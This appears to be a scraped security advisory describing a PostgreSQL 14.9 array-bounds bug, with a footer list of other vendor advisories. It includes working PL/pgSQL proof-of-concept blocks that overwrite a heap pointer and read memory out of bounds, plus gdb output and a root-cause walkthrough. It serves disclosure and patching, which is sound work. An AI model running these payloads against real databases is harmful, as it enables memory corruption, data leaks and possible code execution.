PostgreSQL: Array Set Element Memory Corruption
HighPublished Jan 3, 2024
### Summary There is an error in the way PostgreSQL handles arrays that are first set to have a lower bound of -MAXINT, and are updated to have an upper bound of MAXINT. The result is 2 fold. The first is an 8-byte heap overwrite at index -1. This can lead to overwriting a MemoryContext pointer with an attacker controlled value. The second is we are able to slice the corrupted array to read out-of-bounds. This report only targeted PostgreSQL 14.9. Other versions were not tested against. ### Severity High - A user who is able to connect to a database and execute a DO statement is able to reach this vulnerability. As it provides a way to perform a heap overwrite and heap overreads Remote Code Execution is possible. ### Proof of Concept 8-Byte Heap Overwrite ```plpgsql DO $ DECLARE a int8[]; BEGIN a[-2147483648] = 1; a[2147483647] = 4702111234474983745; a[-2147483646] = 2; END; ``` Attaching gdb to your session and running the PoC you’ll see the following ```plpgsql Program received signal SIGSEGV, Segmentation fault. 0x000055e70b689c37 in repalloc (pointer=0x55e70c4575f8, size=24) at mcxt.c:1201 1201 ret = context->methods->realloc(context, pointer, size); (g...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| PostgreSQL Product | < https://github.com/postgres/postgres/commit/18b585155a891784ca8985f595ebc0dde94e0d43 | https://github.com/postgres/postgres/commit/18b585155a891784ca8985f595ebc0dde94e0d43 |
Details and references
### Summary There is an error in the way PostgreSQL handles arrays that are first set to have a lower bound of -MAXINT, and are updated to have an upper bound of MAXINT. The result is 2 fold. The first is an 8-byte heap overwrite at index -1. This can lead to overwriting a MemoryContext pointer with an attacker controlled value. The second is we are able to slice the corrupted array to read out-of-bounds. This report only targeted PostgreSQL 14.9. Other versions were not tested against. ### Severity High - A user who is able to connect to a database and execute a DO statement is able to reach this vulnerability. As it provides a way to perform a heap overwrite and heap overreads Remote Code Execution is possible. ### Proof of Concept 8-Byte Heap Overwrite ```plpgsql DO $ DECLARE a int8[]; BEGIN a[-2147483648] = 1; a[2147483647] = 4702111234474983745; a[-2147483646] = 2; END; ``` Attaching gdb to your session and running the PoC you’ll see the following ```plpgsql Program received signal SIGSEGV, Segmentation fault. 0x000055e70b689c37 in repalloc (pointer=0x55e70c4575f8, size=24) at mcxt.c:1201 1201 ret = context->methods->realloc(context, pointer, size); (gdb) p context $1 = (MemoryContext) 0x4141414141414141 ``` Heap Overread Slicing this array we’re able to read out-of-bounds as well. ```plpgsql DO $ DECLARE a int8[]; BEGIN a[-2147483648] = 1; a[2147483647] = 4702111234474983745 ; RAISE NOTICE '%', a[2147483615:5]; END; ``` ```plpgsql NOTICE: {128,94450831663824,4294967533,0,65536,0,94450831669808,94450831670384,0,0,0,0,0,0,0,0,0,0,64,94450831663824,4294967527,5,94450831670632,94450831670464,0,0,0,0,32,94450831663824,4294967424,85899345920,-9223372036854775808} ``` ### Further Analysis The vulnerable function is array_set_element_expanded in arrayfuncs.c. When setting an element at an index the number of new elements is calculated. This value is then added to dim which will be used to perform bound checks. ``` if (indx[0] >= (dim[0] + lb[0])) { addedafter = indx[0] - (dim[0] + lb[0]) + 1; dim[0] += addedafter; dimschanged = true; .. snip .. if (dimschanged) { (void) ArrayGetNItems(ndim, dim); ArrayCheckBounds(ndim, dim, lb); } ``` With our setup of lower bound being -MAXINT and the new index being MAXINT this causes addedafter to be -1, and dim to be set to 0 allowing us to pass the checks that follow. The offset for the index to write to is then calculated, which will return -1. ``` offset = ArrayGetOffset(nSubscripts, dim, lb, indx); ``` ``` int ArrayGetOffset(int n, const int *dim, const
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Jan 42024 | Microsoft VSCode: XSS | High | No fix yet |
| Dec 152023 | Kakadu: JPX fragmented list vulnerability | High | No fix yet |
| Dec 142023 | *This advisory is also published as [RUSTSEC-2023-0074] | Low | 0.2.9+5 more |
| Dec 142023 | Microsoft Edge: Arbitrary Perms | Medium | See the advisory |
| Nov 292023 | Envoy: ALTS Bug | Medium | See the advisory |
| Nov 162023 | Oracle VM VirtualBox: Integer Overflow Leading To Out-Of-Bounds Read in virtioNetR3CtrlMac | High | See the advisory |